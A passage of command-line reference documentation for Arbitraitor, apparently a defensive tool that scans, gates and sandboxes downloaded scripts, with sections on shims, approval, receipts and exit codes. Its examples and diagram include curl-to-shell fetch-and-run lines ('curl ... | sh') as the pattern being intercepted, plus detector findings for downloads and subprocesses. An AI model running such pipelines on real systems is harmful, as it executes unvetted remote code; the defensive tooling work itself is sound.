arbitraitor run https://example.com/install.sh --policy ./my-policy.toml --audit-override
Supported artifact types
Only shell scripts and native executables are runnable by arbitraitor run
(see ADR-0036
for the rationale):
ArtifactType | Executable via |
|---|---|
ShellScript(Posix | Bash | Zsh) | /bin/bash |
PeExecutable, ElfExecutable, MachOExecutable | native binary |
All other classified types — HtmlDocument, JsonDocument, XmlDocument,
GenericText, GenericBinary, archives (ZipArchive, TarArchive,
*Compressed), PowerShellScript, PythonScript, JavaScript, and
Unknown — fail closed with blocked by policy (exit code
BlockedByPolicy) before reaching the execution layer. Piping such bytes to
/bin/bash is incorrect (bash doesn’t understand them) and unsafe (HTML,
JSON, and XML can incidentally contain bash-parseable $(...),
redirections, and pipes).
When a script or native execution does fail, the user-visible error now
includes the captured child stderr so the actual root cause is visible
(e.g. script input I/O failure during write-script-stdin (child exited 1; stderr: "bash: !DOCTYPE: event not found")), distinguishing “I fed bash
junk” from “kernel denied the user namespace” from “Landlock blocked the
interpreter path”. See #612 for the bug report and Fix B details.
Wrappers command
arbitraitor wrappers <subcommand> [flags]
Installs curl and wget shims that route downloads through Arbitraitor,
and renders the shell-integration snippet that puts the shim directory on
PATH. See wrappers for the full reference.
Subcommands
install
Install curl and/or wget shims (default: both) to the shim directory
(default: ~/.arbitraitor/shims):
arbitraitor wrappers install
arbitraitor wrappers install curl # install only the curl shim
Flags inherited by all wrappers subcommands:
| Flag | Default | Description |
|---|---|---|
--shim-dir <PATH> | ~/.arbitraitor/shims | Override the shim installation directory |
--use-scripts | false | Install shell scripts instead of symlinks |
uninstall
Remove installed shims (default: all):
arbitraitor wrappers uninstall
status
Show installed shims and their state:
arbitraitor wrappers status
States: installed (script), installed (symlink), not installed,
foreign file.
init
Render or install the shell-integration snippet that puts the shim
directory on PATH. This is the primary surface for wiring Arbitraitor
into an interactive shell.
# Print mode (default) — emit snippet to stdout
arbitraitor wrappers init
eval "$(arbitraitor wrappers init)"
# Auto-install mode — write a marked block to the detected shell's rcfile
arbitraitor wrappers init --install
# Detect which shell you're running and which rcfile is targeted
arbitraitor wrappers init --detect-shell
# Remove the PATH block from your rcfile
arbitraitor wrappers init --uninstall
# Specify a shell explicitly (default: auto-detected from $SHELL)
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install
Flags:
| Flag | Description |
|---|---|
[shell] (positional) | Target shell. Auto-detected from $SHELL if omitted. |
--install | Write the snippet to the rcfile (instead of stdout). |
--uninstall | Remove a previously installed block from the rcfile. |
--detect-shell | Print detected shell and target rcfile, then exit. |
--dry-run | Show what would change without writing. Requires --install. |
--no-backup | Skip <rcfile>.arbitraitor.bak creation. Requires --install. |
Supported shells: bash, zsh, sh, fish, nu, xonsh,
powershell, elvish, posix, tcsh, oil (also osh / ysh).
The rcfile block is wrapped in marker lines
(# >>> arbitraitor wrappers >>> / # <<< arbitraitor wrappers <<<)
so re-runs replace in place rather than appending. The corresponding
in-shell snippet is idempotent: re-evaling does not duplicate PATH
entries.
init-script
Hidden legacy command. Prints a generic POSIX shell-init snippet that
prepends ~/.arbitraitor/shims to PATH (no auto-detection of shell,
no per-shell idempotency). Prefer wrappers init, which auto-detects
the target shell and emits a shell-specific, runtime-idempotent snippet.
arbitraitor wrappers init-script
# Add to .bashrc or .zshrc:
# eval "$(arbitraitor wrappers init-script)"
Status command
arbitraitor status [flags]
status reports Arbitraitor component health, daemon-process identity
(PID, uptime, last operation), and the bounded recent-operations ring
buffer when a local daemon is running. Falls back to a store-only
summary when the daemon socket is unreachable (spec §28.1).
Flags
| Flag | Description |
|---|---|
--json | Output the full report (health + daemon snapshot) as JSON |
--detectors | Show detector status |
--feeds | Show intelligence feed status |
--store | Show store health and disk usage |
--cas-dir <DIR> | Override the content-addressed store root to probe |
--rules <DIR> | Load YARA-X rule packs from this directory and report their versions |
--socket <PATH> | Daemon socket path to query (default: standard ~/.cache/arbitraitor/daemon.sock) |
What it reports
The status command surfaces:
- Store: CAS health, corruption check, garbage collection status
- Detectors: Loaded plugins and their current status
- Feeds: Last sync time and freshness for each configured feed
- Config: Validity of configuration files
- Daemon (if running): PID, uptime in seconds, last operation, and a
bounded list of recent operations (
inspect,scan,query_receipt,health,shutdown). When no daemon is reachable, the report lineDaemon: not running (store-only status)is emitted so callers can distinguish “daemon down” from “daemon healthy”.
The JSON shape mirrors the human-readable layout — every component
report is keyed under health.checks, and the daemon snapshot (or
null) is a top-level daemon field.
Scan command
arbitraitor scan [FILE] [flags]
arbitraitor scan --stdin [flags]
Scans a local file or stdin without network retrieval. Runs detectors and reports findings.
Flags
| Flag | Description |
|---|---|
--stdin | Read input from stdin instead of a file path |
--emit-on-pass | Buffer stdin and emit the original bytes to stdout only when the scan verdict is Pass |
--recursive | Recursively scan archive payloads |
--type <TYPE> | Require an artifact class (elf, pe, mach-o, sh, archive) |
--name <NAME> | Keep findings and detector status for the named detector only |
--source-url <URL> | Record a source URL in scan provenance metadata |
--json | Output the structured scan receipt as JSON instead of human-readable text |
--sarif | Output scan findings as SARIF 2.1.0 |
--rules <DIR> | Path to a directory of YARA-X rule packs |
--explain | Print an explainability summary after findings |
--format <FORMAT> | Output format for explainability: text, shellcheck (implies --explain) |
Examples
# Scan a local script
arbitraitor scan ./suspicious.sh
# Scan piped input
curl -s https://example.com/script.sh | arbitraitor scan --stdin
# Scan with explainability output
arbitraitor scan ./script.sh --explain
# Emit structured JSON receipt
arbitraitor scan ./script.sh --json
# Gate piped bytes: stdout receives bytes only on Pass
curl -s https://example.com/script.sh | arbitraitor scan --stdin --emit-on-pass
Explain command
arbitraitor explain <RECEIPT_PATH>
Reads a receipt file from a prior inspect or run and prints a human-readable summary of the verdict, findings, and retrieval metadata.
Examples
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor explain receipt.json
Store command
arbitraitor store <subcommand> [flags]
Manages artifacts in the content-addressed store (CAS).
Subcommands
list
List all stored artifacts:
arbitraitor store list
inspect <SHA256>
Show metadata for a specific artifact:
arbitraitor store inspect <sha256>
gc
Run garbage collection on the store:
arbitraitor store gc
arbitraitor store gc --max-age-days 30
Flags
| Flag | Description |
|---|---|
--cas-dir <DIR> | Override the CAS directory |
Policy command
arbitraitor policy <POLICY_PATH>
Validates a TOML policy file and prints version, rule count, and digest.
Examples
arbitraitor policy my-policy.toml
Doctor command
arbitraitor doctor [flags]
Runs system health diagnostics. The default output is human-readable; --json emits the structured report for automation. The report covers store health, detectors, policies, YARA-X rules, antivirus adapters, scanner freshness, feed signatures, update trust roots, sandbox adapters, plugin manifests and protocol compatibility, wrapper coverage, shim PATH order, clock skew, proxy settings, and receipt signing keys.
Flags
| Flag | Description |
|---|---|
--cas-dir <DIR> | Override the CAS directory to check |
--rules <DIR> | Path to rule packs directory |
--receipt-signing-key <PATH> | Path to the receipt signing key file (spec §31.3) |
--json | Emit structured JSON with each check status as pass, fail, warn, or skipped |
Checks
| Check | Description |
|---|---|
store | CAS directory exists, is writable, and reports object counts |
detectors | Detector and rule-pack versions are configured |
version | Arbitraitor build and rule-pack version summary |
policy_validity | Configured standalone policy TOML parses and validates |
yara_rules | Configured YARA-X rule directories exist and parse |
av_adapters | ClamAV or Microsoft Defender command availability |
scanner_freshness | Scanner signature/database files are within the freshness window when configured |
feed_signatures | Configured intel feed signature files exist and are readable |
update_trust_root | Configured update trust-root key exists and is readable |
sandbox_adapters | Platform sandbox adapter availability |
plugin_manifests | Installed plugin manifests are readable |
plugin_protocol | Installed plugin manifests advertise compatible protocol metadata when declared |
wrapper_coverage | Installed curl/wget commands have wrapper semantic coverage |
shim_path_order | Shim directory precedes original tools in PATH |
clock_skew | Local system clock is plausible for signature freshness decisions |
proxy_settings | Proxy environment variables use supported URL schemes |
receipt_signing_key | Configured receipt signing key exists and is readable |
Rules command
arbitraitor rules <subcommand> [flags]
Manages YARA-X rule packs.
Subcommands
list
List all loaded rule packs with source, namespace, version, auth status, and digest:
arbitraitor rules list
validate <FILE>
Validate that a YARA-X rule file compiles:
arbitraitor rules validate /path/to/rules.yar
Flags
| Flag | Description |
|---|---|
--rules-dir <DIR> | Directory containing rule packs |
Update command
arbitraitor update <subcommand>
Verifies signed update manifests for rule packs, intel feeds, trust roots, and plugin registries.
Subcommands
verify <MANIFEST> --key <KEY> [--signature <SIG>]
Verify a signed minisign update manifest:
arbitraitor update verify manifest.json --key pubkey.pub
# Signature defaults to manifest.minisig (extension replaced)
arbitraitor update verify manifest.json --key pubkey.pub --signature custom.minisig
Plugin command
arbitraitor plugin <subcommand>
Manages the plugin registry and local plugin lifecycle. Registry-backed operations currently expose the stable CLI surface and return stub output until registry plumbing is complete.
Subcommands
list
List all registered plugins:
arbitraitor plugin list
info <ID>
Show manifest details for a specific plugin. inspect is an alias:
arbitraitor plugin info <id>
arbitraitor plugin inspect <id>
search <QUERY>
Search the plugin registry:
arbitraitor plugin search yara
discover
Run plugin discovery from default directories:
arbitraitor plugin discover
install <ID>
Install a plugin by registry ID:
arbitraitor plugin install <id>
update [--all]
Update plugins. Use --all to update every installed plugin:
arbitraitor plugin update --all
enable <ID>
Enable an installed plugin:
arbitraitor plugin enable <id>
disable <ID>
Disable an installed plugin:
arbitraitor plugin disable <id>
trust <DIGEST_OR_SIGNER>
Trust a plugin digest or signer identity:
arbitraitor plugin trust sha256:<hex>
arbitraitor plugin trust signer@example.test
doctor
Run plugin health checks:
arbitraitor plugin doctor
remove <ID>
Unregister a plugin:
arbitraitor plugin remove <id>
Hook command
arbitraitor hook <subcommand>
Deprecated. The bash DEBUG trap runs on every command, has measurable overhead in interactive sessions, and only supports bash. Replace with
arbitraitor wrappers install && arbitraitor wrappers init --install, which works across every supported shell and wires the shim directory ontoPATHvia a marked rcfile block. See wrappers.
Subcommands
init [--binary <PATH>]
Print a bash hook that intercepts curl|sh patterns and suggests
arbitraitor run. Emits a deprecation warning to stderr on use.
arbitraitor hook init
# Custom binary path:
arbitraitor hook init --binary /usr/local/bin/arbitraitor
Shim command
arbitraitor shim <subcommand>
Manages compatibility shims that route supported tool invocations through Arbitraitor.
Subcommands
list
List installed shims and supported tools:
arbitraitor shim list
# Supported shims: npm, curl, wget, brew
install <TOOL>
Install a compatibility shim for a supported tool. Shims are written under
~/.arbitraitor/shims and dispatch by tool:
npminvokesarbitraitor pm run --tool npm.curlandwgetinvokearbitraitor fetch --tool <TOOL>.brewinvokesarbitraitor wrap brew.
arbitraitor shim install npm
arbitraitor shim install curl
arbitraitor shim install wget
arbitraitor shim install brew
# Writes ~/.arbitraitor/shims/npm
Supported tools: npm, curl, wget, brew.
remove <TOOL> / uninstall <TOOL>
Remove a compatibility shim:
arbitraitor shim remove curl
# Legacy alias:
arbitraitor shim uninstall npm
real <TOOL>
Resolve the real binary path for a supported tool by searching PATH while
excluding ~/.arbitraitor/shims:
arbitraitor shim real curl
# /usr/bin/curl
status
Show every supported shim and its current slot state:
arbitraitor shim status
# npm: not installed
# curl: installed
# wget: not installed
# brew: not installed
PM command
arbitraitor pm run --tool <TOOL> [-- <ARGS>...]
Runs a package manager tool through Arbitraitor’s advisory scan (spec §39.14 Phase 1), then executes it if the verdict allows. Currently supports npm.
Advisory scan flow (npm)
- Resolves the dependency tree via
package-lock.json(generates it withnpm install --package-lock-only --ignore-scriptsif absent). - Parses lifecycle scripts (
preinstall,install,postinstall,prepare,prepublish) from the rootpackage.json. - Flags dependencies with install lifecycle scripts (
hasInstallScriptin the lockfile). - Flags dependencies resolved from non-registry sources (git URLs, file: links).
- Derives a verdict (Pass / Warn / Block) and emits a
PackageManagerReceipt. - If the verdict allows execution (Pass or Warn), runs
npm install --ignore-scripts(scripts denied per the npm adapter’sDeniedByDefaultlifecycle policy).
Flags
| Flag | Description |
|---|---|
--tool <TOOL> | Package manager tool to wrap (currently: npm) |
Exit codes
The pm command uses the standard verdict-to-exit-code mapping (0=Pass, 10=Warn, 30=Block). An error during scan or execution exits with code 33.
Examples
# Advisory scan + gated install (default)
arbitraitor pm run --tool npm
# Pass extra arguments to npm
arbitraitor pm run --tool npm -- install --save-dev lodash
Graph command
arbitraitor graph <FILE>
Renders a payload containment tree for archives, showing nested artifact types and SHA-256 digests.
Examples
arbitraitor graph ./archive.tar.gz
Approve command
arbitraitor approve <RECEIPT> [flags]
Decoupled approval flow: reads a receipt from a prior inspection, displays findings, prompts for approval, and writes a time-limited approval file (5-minute expiry). If --output is omitted, the approval path defaults to <receipt>.approval.json.
Flags
| Flag | Description |
|---|---|
--output <PATH> | Write the approval file to this path |
Examples
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor approve receipt.json --output approval.json
# Without --output, writes receipt.approval.json
arbitraitor approve receipt.json
Execute command
arbitraitor execute --approval <APPROVAL> [flags]
Executes an artifact from CAS using a previously generated approval file.
The legacy positional approval path is still accepted for compatibility but emits a deprecation warning; use --approval <PATH> for new scripts.
Flags
| Flag | Description |
|---|---|
--approval <PATH> | Approval file from arbitraitor approve |
--network | Allow network access during execution |
Examples
arbitraitor execute --approval approval.json
# With network access:
arbitraitor execute --approval approval.json --network
Supported artifact types
Only ArtifactType::ShellScript(_) artifacts are executable via the
execute command. All other classified types — HtmlDocument,
JsonDocument, XmlDocument, GenericText, GenericBinary, archives,
PowerShellScript, PythonScript, JavaScript, and Unknown — fail
closed with an error before reaching ScriptExecution::bash, even when
the approval file is otherwise valid. This mirrors the content-type gate
on arbitraitor run and run_approved_artifact (MCP) per
ADR-0036
and issue #612.
Native executables are also not accepted via execute because the
approval flow always binds to the bash interpreter (native execution
uses a separate release path).
Report command
arbitraitor report <SUBCOMMAND>
Records user feedback on findings (spec §21.7). All reported feedback is scoped and auditable.
Subcommands
| Subcommand | Description |
|---|---|
false-positive <FINDING_ID> | Mark a finding as a false positive so future inspections do not re-surface it |
Examples
arbitraitor report false-positive SHELL-EVAL-001
Allow command
arbitraitor allow sha256:<HEX> --scope <SCOPE> --expires <DURATION> --reason <TEXT>
Records a scoped, time-bounded allow exception for an artifact digest (spec §21.7). Every exception requires a scope, an expiry, and a written justification for audit.
Flags
| Flag | Description |
|---|---|
sha256:<HEX> (positional) | SHA-256 of the artifact in sha256:<64-hex> form |
--scope <SCOPE> | Exception scope: user, project, or org (required) |
--expires <DURATION> | Duration until expiry: <N>s, <N>m, <N>h, or <N>d (required) |
--reason <TEXT> | Free-form justification recorded for auditing (required) |
Examples
# Project-wide allow for one week
arbitraitor allow sha256:abababababababababababababababababababababababababababababababab \
--scope project --expires 7d --reason "approved by sec review #482"
MCP command
arbitraitor mcp
Starts a Model Context Protocol JSON-RPC 2.0 server over stdio for AI agent integration. Provides tools for inspecting, scanning, explaining, and approving artifact execution.
Version command
arbitraitor version
Prints version, license, and repository information.
inspect
The inspect command retrieves an artifact and runs it through the detection pipeline without executing it. This is Arbitraitor’s primary analysis command.
Synopsis
arbitraitor inspect <URL or file path> [flags]
Description
inspect performs Level 1 (Inspect) assurance. It:
- Retrieves the artifact (or reads from disk)
- Records transport metadata (final URL after redirects, TLS certificate info)
- Buffers the artifact in content-addressed storage
- Identifies the content type
- Runs configured detectors
- Evaluates policy
- Emits a verdict and findings
No execution occurs. The artifact bytes never reach a runtime.
Flags
--receipt <PATH>
Write an RFC 8785 JCS canonicalized JSON receipt to the specified path. The receipt includes:
- Artifact identity (SHA-256)
- Content type
- All findings
- Verdict and assurance level
- Transport metadata
- Policy snapshot digest
- Timestamp
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
--detectors <NAMES>
Run only the specified detectors. Names are comma-separated.
arbitraitor inspect script.sh --detectors shell,archive
Available detectors: shell, archive, yarax, powershell, av, intel.
--no-detectors
Skip all detectors. Only retrieve, identify, and hash.
arbitraitor inspect https://example.com/file.txt --no-detectors
--content-type <TYPE>
Override automatic content type detection. Useful when a server misreports type.
arbitraitor inspect script.sh --content-type application/x-shellscript
--native
Treat the artifact as a native executable, not a script. Changes which detectors run (skips shell analysis, enables binary signatures).
arbitraitor inspect ./bin/mytool --native
--timeout <SECONDS>
Maximum time for retrieval and analysis combined. Default is 120 seconds.
arbitraitor inspect large-archive.zip --timeout 300
Output format
Text output
Artifact: sha256:a1b2c3d4e5f6...
Source: https://example.com/install.sh (final URL after redirects)
Type: application/x-shellscript
Size: 4.2 KB
Detectors: shell ✅ archive ✅
Findings:
network:curl high Downloads content via curl
network:wget high Downloads content via wget
fs:write:/tmp medium Writes to /tmp directory
exec:subprocess high Spawns subprocesses
Verdict: WARN (inspect)
Elevated findings require human review before execution.
Run 'arbitraitor run <URL>' to request approval.
JSON output
Use --output json for machine-readable output:
arbitraitor inspect https://example.com/install.sh --output json
{
"artifact_digest": "sha256:a1b2c3d4e5f6...",
"source": "https://example.com/install.sh",
"content_type": "application/x-shellscript",
"size_bytes": 4305,
"findings": [
{
"id": "network:curl",
"severity": "high",
"title": "Downloads content via curl",
"description": "The script uses curl to fetch remote content"
}
],
"verdict": "warn",
"assurance_level": "inspect",
"policy_snapshot_digest": "sha256:91ab..."
}
Reading the output
Severity levels map to policy actions:
| Severity | Default policy action |
|---|---|
| Critical | Block (unless explicitly allowed) |
| High | Prompt |
| Medium | Warn |
| Low | Pass |
Verdicts:
| Verdict | Meaning |
|---|---|
| Pass | All findings below policy thresholds |
| Warn | Findings at or above thresholds, human review recommended |
| Incomplete | A detector could not complete, blocking by default |
| Block | Findings exceeded block thresholds |
The Verdict line always includes the assurance level in parentheses, e.g., WARN (inspect), PASS (mediated).
Examples
# Basic inspection of a remote script
arbitraitor inspect https://example.com/install.sh
# With receipt for later approval
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
# Inspect a local file
arbitraitor inspect ./downloads/untrusted-script.sh
# Specific detectors, no archive scanning
arbitraitor inspect script.sh --detectors shell
# Quick identify only
arbitraitor inspect file.bin --no-detectors
run
The run command executes the full Arbitraitor pipeline including human approval for elevated findings.
Synopsis
arbitraitor run <URL or file path> [flags]
Description
run performs Level 2 (Mediated) or Level 3 (Contained) execution. It:
- Retrieves and buffers the artifact
- Runs the detection pipeline
- Constructs a canonical execution plan
- Evaluates policy against the plan
- Requests human approval if findings require it
- Executes the exact buffered artifact in a controlled context
- Emits a signed receipt
The approval flow
When findings exceed policy thresholds, run pauses for human approval:
Artifact: sha256:a1b2c3d4e5f6...
Plan: sha256:91ab...
Type the first 12 characters of the plan digest to approve:
Approval binds the entire execution context — not just the artifact digest. Changing any parameter (interpreter, arguments, environment, destination) requires fresh approval.
Flags
--receipt <PATH>
Write the execution receipt to this path. The receipt proves what was executed and what controls were in effect.
--output <PATH>
Write the artifact’s stdout and stderr to this path instead of the terminal.
arbitraitor run install.sh --output /tmp/install.log
--native
Allow native binary execution. Requires --native gate enabled in policy. Without this flag, native binaries are blocked.
arbitraitor run ./bin/tool --native
--interactive
Force the interactive approval prompt even if --non-interactive is set globally.
--non-interactive
Block immediately if human approval would be required. Returns exit code 21 (Prompt).
arbitraitor run https://example.com/install.sh --non-interactive
--policy <PATH>
Path to a pre-issued approval capability JSON file. Used in CI and automation instead of interactive approval.
arbitraitor run https://example.com/install.sh \
--policy ./ci-capability.json
--working-dir <PATH>
Set the working directory for execution. Defaults to a temporary directory.
--env <KEY=VALUE>
Set environment variables for execution. Repeatable.
arbitraitor run install.sh --env HOME=/tmp/home --env USER=test
--network
Allow network access during execution. By default, mediated execution denies all network access.
--fs-grant <PATH>
Grant read access to the specified path during execution. Repeatable for multiple paths.
arbitraitor run install.sh --fs-grant /tmp --fs-grant /var/cache
The full pipeline flow
inspect (retrieve once)
-> record transport metadata
-> buffer in CAS (immutable)
-> identify content
-> hash and verify provenance
-> scan (detectors)
-> evaluate policy
-> construct execution plan
if plan requires approval:
-> request human approval
-> on approval: execute
-> on denial: block
execute (exact buffered bytes only)
-> construct clean environment
-> apply sandbox controls
-> run with mediator
-> capture output
emit receipt
-> policy snapshot
-> assurance level
-> findings
-> capability matrix
-> signatures
Exit codes
arbitraitor run follows the stable exit codes defined in spec §29
(see also CLI reference → Exit codes).
The codes most relevant to run are:
| Code | Meaning |
|---|---|
| 0 | Pass — inspection and execution both completed |
| 1 | General operational error |
| 20 | Interactive approval declined by the user |
| 21 | Prompt required in non-interactive mode |
| 30 | Blocked by policy |
| 31 | Confirmed malicious indicator |
| 32 | Integrity or signature failure |
| 33 | Required detector unavailable or stale |
| 34 | Analysis incomplete (resource limit) |
| 40 | Network retrieval failure |
| 41 | Redirect or transport policy violation |
| 42 | Content type or size policy violation |
| 50 | Execution failed after approval |
| 60 | Internal integrity invariant failure |
The exit code of arbitraitor run is not the exit code of the executed
child process. The child’s exit code is recorded in the receipt and is
visible in arbitraitor explain <receipt>. If the child exits non-zero
after approval was granted, Arbitraitor exits 50 (Execution failed after
approval).
Examples
Interactive approval
arbitraitor run https://example.com/install.sh
Non-interactive (CI)
arbitraitor run https://example.com/install.sh \
--non-interactive \
--receipt ./receipt.json
With pre-issued capability
Note: Pre-issued capability issuance (
approvesubcommand) is not yet implemented. The--policyflag accepts a capability file when available, but there is currently no CLI command to create one. This will be added in a future release.
Script with limited access
arbitraitor run install.sh \
--network \
--fs-grant /tmp \
--output /tmp/install.log
Native binary (requires gate)
arbitraitor run ./bin/mytool --native
wrappers
The wrappers command installs shell shims (PATH intercepts) that route
curl and wget invocations through Arbitraitor, and produces the
shell-integration snippet that puts the shim directory on PATH.
arbitraitor wrappers <subcommand> [flags]
Stability: Unstable. Verified against commit
7cb6906. Flags, default directories, and the supported-shell list may change before 1.0.
How shims work
A shim is a small file (shell script or symlink) placed in a dedicated
directory. When that directory precedes the real tool’s directory on
PATH, the shell finds the shim instead of the original binary. The shim
is a thin dispatcher: it re-invokes arbitraitor fetch --tool <curl|wget>
with the original arguments. Arbitraitor performs retrieval through its
own fetch pipeline (SSRF controls, redirect policy, TLS verifier
selection — see spec §11, ADR-0018), inspects the artifact, and emits
bytes only on a Pass verdict.
The original curl or wget is not modified. wrappers status reports
the shim state (installed (script), installed (symlink),
not installed, or foreign file — see Status semantics
below).
$ curl https://example.com/install.sh | sh
│
▼
~/.arbitraitor/shims/curl ←── shim runs first
│
▼
arbitraitor fetch --tool curl -- https://example.com/install.sh
│
▼
[fetch pipeline + inspect + verdict]
│
Pass ─────────┐
Block ───────┴── non-zero exit, no bytes emitted
Default shim directory
Default: ~/.arbitraitor/shims
This directory is not on any operating system’s default PATH. This is
intentional:
- No silent binary replacement. A namespaced directory makes the shadowing explicit and reversible. Arbitraitor must never silently replace system binaries (spec §28.7 invariant).
- No collision with user scripts. Putting
curl/wgetshims into~/.local/binor/usr/local/binwould shadow user-installed scripts of the same name without warning. - Idempotent uninstall.
arbitraitor wrappers uninstallwipes one directory rather than scanning shared user paths for Arbitraitor-managed files.
Users who prefer ~/.local/bin may override with --shim-dir:
arbitraitor wrappers install --shim-dir ~/.local/bin
arbitraitor wrappers init --install --shim-dir ~/.local/bin
~/.local/bin is on default PATH on Debian (bash ≥ 4.3-15, 2016),
Ubuntu (≥ 16.04), and Fedora (bash ≥ 4.2.10-3, 2012). It is not on
default PATH on Arch, RHEL, NixOS, Alpine, or any minimal/container base
image. The rcfile snippet written by wrappers init --install puts any
chosen shim directory on PATH regardless of distro defaults.
Subcommands
install
Install curl and wget shims (default: both):
arbitraitor wrappers install
arbitraitor wrappers install curl # install only the curl shim
arbitraitor wrappers install wget # install only the wget shim
Flags inherited from the parent wrappers command:
| Flag | Default | Description |
|---|---|---|
--shim-dir <PATH> | ~/.arbitraitor/shims | Override the shim installation directory |
--use-scripts | false | Install shell scripts instead of symlinks (use when the shim directory is on a filesystem that does not support symlinks) |
After install, the shim directory is not yet on PATH. The command output
prints the next step:
$ arbitraitor wrappers install
installed: /home/user/.arbitraitor/shims/curl
installed: /home/user/.arbitraitor/shims/wget
2 shims installed in /home/user/.arbitraitor/shims
To activate, add the shim directory to your PATH:
eval "$(arbitraitor wrappers init)" # print mode
arbitraitor wrappers init --install # auto-install to rcfile
uninstall
Remove installed shims (default: all):
arbitraitor wrappers uninstall
arbitraitor wrappers uninstall curl # remove only the curl shim
Does not remove the rcfile PATH snippet — use
wrappers init --uninstall for that.
status
Show installed shims and their state:
arbitraitor wrappers status
States:
| State | Meaning |
|---|---|
installed (script) | A script file occupies the shim slot; content starts with the Arbitraitor shim marker |
installed (symlink) | A symlink occupies the shim slot (target not validated) |
not installed | No shim file present in the shim directory |
foreign file | A file with the same name exists but does not start with the Arbitraitor shim marker (manual review recommended; the file will be overwritten on next wrappers install) |
init
Render or install the shell-integration snippet that puts the shim
directory on PATH. This is the primary surface for wiring Arbitraitor
into an interactive shell.
# Print mode (default) — emit snippet to stdout
arbitraitor wrappers init
eval "$(arbitraitor wrappers init)"
# Auto-install mode — write a marked block to the detected shell's rcfile
arbitraitor wrappers init --install
# Detect which shell you are running and which rcfile is targeted
arbitraitor wrappers init --detect-shell
# Remove the PATH block from your rcfile
arbitraitor wrappers init --uninstall
# Specify a shell explicitly (defaults to auto-detect via $SHELL)
arbitraitor wrappers init bash
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install
# Preview what would be written (use with --install)
arbitraitor wrappers init --install --dry-run
# Skip backup file creation (default: backup is created)
arbitraitor wrappers init --install --no-backup
Flags:
| Flag | Description |
|---|---|
[shell] (positional) | Target shell. Auto-detected from $SHELL if omitted. |
--install | Write the snippet to the shell’s rcfile (instead of stdout). |
--uninstall | Remove a previously installed block from the rcfile. |
--detect-shell | Print detected shell and target rcfile, then exit. |
--dry-run | Show what would change without writing. Requires --install. |
--no-backup | Skip <rcfile>.arbitraitor.bak creation. Requires --install. |
Shells supported
bash, zsh, sh, fish, nu, xonsh, powershell, elvish,
posix, tcsh, oil (also accepts osh / ysh).
This list matches the industry-consensus shell coverage from starship (12
shells) and is ahead of zoxide (9), atuin (6), and direnv (8). Detection
falls back from $SHELL to parent-process inspection
(/proc/$PPID/cmdline on Linux, ps -o comm= on macOS).
Idempotency
For POSIX-family shells (bash, zsh, sh, posix, tcsh, oil),
the rcfile block is wrapped in marker lines so re-runs replace in place
rather than appending:
# >>> arbitraitor wrappers >>>
export PATH="$HOME/.arbitraitor/shims:$PATH"
# <<< arbitraitor wrappers <<<
Re-running wrappers init --install after a directory change (via
--shim-dir) updates the block atomically. The corresponding in-shell
snippet is also idempotent: re-evaling arbitraitor wrappers init
does not duplicate PATH entries (POSIX case guard for bash/zsh/sh,
typeset -aU path for zsh, fish_add_path --move --path for fish,
etc.).
Exceptions: fish, nu (Nushell), and powershell use a
dedicated file rather than a marked block in an existing rcfile — fish
writes ~/.config/fish/conf.d/arbitraitor.fish; nushell writes
~/.config/nushell/vendor/autoload/arbitraitor.nu; powershell writes
its $PROFILE. --install overwrites these files atomically on each
run (with .arbitraitor.bak backup by default); --uninstall removes
them. The runtime snippets remain idempotent for these shells.
Backups
--install writes a backup before mutating the rcfile (or dedicated
shell file for fish/nu/powershell) using Path::with_extension
— for files without a conventional extension (e.g. .bashrc) this
appends .arbitraitor.bak; for files with an extension (e.g. PowerShell
profile.ps1) it replaces the extension to give
profile.arbitraitor.bak. The backup is overwritten on each subsequent
--install. Pass --no-backup to skip.
init-script
Hidden legacy command that prints a generic POSIX shell-init snippet
that prepends ~/.arbitraitor/shims to PATH. Retained from an earlier
version that did not have per-shell snippet generation. Prefer
arbitraitor wrappers init which auto-detects the target shell and
emits a shell-specific, runtime-idempotent snippet (POSIX case guard
for bash/zsh/sh, typeset -aU path for zsh,
fish_add_path --move --path for fish, etc.). Retained for backwards
compatibility with automation that pipes the legacy snippet into rcfiles.
arbitraitor wrappers init-script # hidden, legacy
# Prefer:
arbitraitor wrappers init # auto-detect shell, print snippet
eval "$(arbitraitor wrappers init)"
Hidden alias: arbitraitor env
arbitraitor env is a hidden alias of arbitraitor wrappers init. It
accepts the same init flags (--install, --uninstall,
--detect-shell, --dry-run, --no-backup, positional [shell])
but does not inherit the wrappers parent flags (--shim-dir,
--use-scripts) — it always uses the default shim directory
(~/.arbitraitor/shims). Pass --shim-dir via the wrappers parent
form (arbitraitor wrappers init --install --shim-dir <PATH>) when
overriding the directory.
Hidden because the dominant industry convention (starship, zoxide,
atuin) is the verb init; surfacing env as a top-level command would
conflict with printenv(1) semantics. The alias exists as a
discoverability shortcut.
Deprecated command: arbitraitor hook init
arbitraitor hook init prints a bash DEBUG trap that intercepts
curl|sh-style invocations at runtime. It is deprecated and prints a
warning on use. The DEBUG trap runs on every command, has measurable
overhead in interactive sessions, and only supports bash.
Replace with arbitraitor wrappers install && arbitraitor wrappers init --install, which:
- Installs the curl/wget shims (one-time).
- Wires the shim directory onto
PATHvia a marked rcfile block — works across every supported shell, no per-command trap overhead.
Output behaviour per verdict
When the wrapper’s inspection verdict is Pass, the wrapper emits the
fetched artifact bytes transparently — matching real curl/wget
semantics:
| Flags | Destination |
|---|---|
| (none) | Raw bytes to stdout (pipe semantics: curl URL | bash works) |
-o <file> / --output <file> | Bytes written to the specified file |
-O / --remote-name | Bytes written to a file named after the URL’s last path segment |
wget -O <file> | Same as curl -o <file> |
When the verdict is anything other than Pass (Warn, Prompt, Block, Error, Incomplete):
- Nothing is written to stdout — downstream consumers receive no bytes.
- The wrapper exits non-zero.
This means curl URL | bash (with shims active) is safe by construction:
bash receives input only when the artifact received a Pass verdict.
Wrappers are a strict download gate; they do not perform interactive
approval. To require human approval before execution, use
arbitraitor run <URL> (which goes through the approval flow defined in
ADR-0013).
Security notes
- The shim directory (
